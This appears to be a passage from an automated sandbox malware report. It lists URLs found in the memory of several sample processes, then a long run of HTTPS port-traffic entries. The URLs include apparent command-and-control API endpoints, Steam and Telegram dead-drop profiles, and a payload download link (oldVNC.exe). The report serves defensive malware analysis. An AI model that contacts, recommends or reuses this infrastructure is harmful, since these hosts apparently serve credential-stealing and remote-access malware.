Source: bKIFsVe.exe, 00000016.00000003.2419097861.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyou/)
Source: bKIFsVe.exe, 00000016.00000003.2466072449.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyou/0000
Source: bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyou/F
Source: bKIFsVe.exe, 00000016.00000003.2466072449.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyou/iLz48dGV4dCB0ZXh0LWFuY2hvcj0ibWlkZGxlIiB4PSI1M
Source: bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyou/n
Source: bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyou/pData
Source: bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyou/rome
Source: bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyou/~
Source: bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyou6
Source: bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyouF
Source: bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyouJ
Source: bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyouL
Source: bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyouR
Source: bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyoub
Source: bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyouf
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://misha-lomonosov.com/
Source: BitLockerToGo.exe, 0000000E.00000003.2372938288.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://misha-lomonosov.com/2
Source: BitLockerToGo.exe, 0000000E.00000003.2372938288.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://misha-lomonosov.com/T
Source: BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://misha-lomonosov.com/api
Source: BitLockerToGo.exe, 0000000E.00000003.2372938288.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://misha-lomonosov.com/api7
Source: BitLockerToGo.exe, 0000000E.00000003.2372938288.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://misha-lomonosov.com/e
Source: BitLockerToGo.exe, 0000000E.00000003.2372938288.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://misha-lomonosov.com/e7
Source: BitLockerToGo.exe, 0000000E.00000002.2385491570.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373211355.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://misha-lomonosov.com:443/apik5
Source: chromecache_115.52.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: fe4d890d0f.exe, 00000039.00000002.2632243896.000000000096E000.00000004.00000020.00020000.00000000.sdmp, fe4d890d0f.exe, 00000039.00000002.2632243896.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://plodnittpw.lat/api
Source: fe4d890d0f.exe, 00000039.00000002.2632243896.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://plodnittpw.lat/v
Source: fe4d890d0f.exe, 00000039.00000002.2632243896.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://plodnittpw.lat:443/apix
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: BitLockerToGo.exe, 0000000E.00000003.2361639095.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://robinsharez.shop:443/apik5
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: BitLockerToGo.exe, 0000000E.00000002.2385491570.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2361639095.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373211355.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://soundtappysk.shop:443/api
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354cIt
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: BitLockerToGo.exe, 0000000E.00000003.2361639095.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/_
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: BitLockerToGo.exe, 0000000E.00000003.2361639095.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: bKIFsVe.exe, 00000016.00000003.2374897749.0000000004820000.00000004.00001000.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000002.2629484397.0000000000401000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199816275252
Source: bKIFsVe.exe, 00000016.00000002.2629484397.0000000000401000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199816275252js4tnMozilla/5.0
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: BitLockerToGo.exe, 0000000E.00000002.2385491570.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2361639095.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373211355.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900L
Source: BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: BitLockerToGo.exe, 0000000E.00000003.2372938288.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026EF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/H
Source: bKIFsVe.exe, 00000016.00000003.2400837390.0000000000B9B000.00000004.00000020.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000003.2374897749.0000000004820000.00000004.00001000.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000002.2629484397.0000000000401000.00000040.00000001.01000000.00000012.sdmp, bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000003.2400954756.0000000000BD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/no111p
Source: bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/no111p8vi
Source: bKIFsVe.exe, 00000016.00000002.2629484397.0000000000401000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://t.me/no111pjs4tnMozilla/5.0
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://urn.to/r/sds_see
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://urn.to/r/sds_seeaCould
Source: BitLockerToGo.exe, 0000000E.00000002.2385491570.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2361639095.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373211355.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://versersleep.shop:443/api
Source: bKIFsVe.exe, 00000016.00000003.2400837390.0000000000B9B000.00000004.00000020.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000003.2466072449.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000003.2419097861.0000000000B98000.00000004.00000020.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000003.2400954756.0000000000BD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: HNsLLEj.exe, 00000011.00000002.2336284446.000000000999C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: HNsLLEj.exe, 00000011.00000002.2336284446.000000000999C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: chromecache_115.52.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_115.52.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_115.52.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: skotes.exe, 00000005.00000002.2631568166.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/
Source: skotes.exe, 00000005.00000002.2631568166.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/5
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/oldVNC.exe
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/oldVNC.exe38359001
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/oldVNC.exe396214
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/oldVNC.exe396pek
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/oldVNC.exe?i
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/oldVNC.exelencoded

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
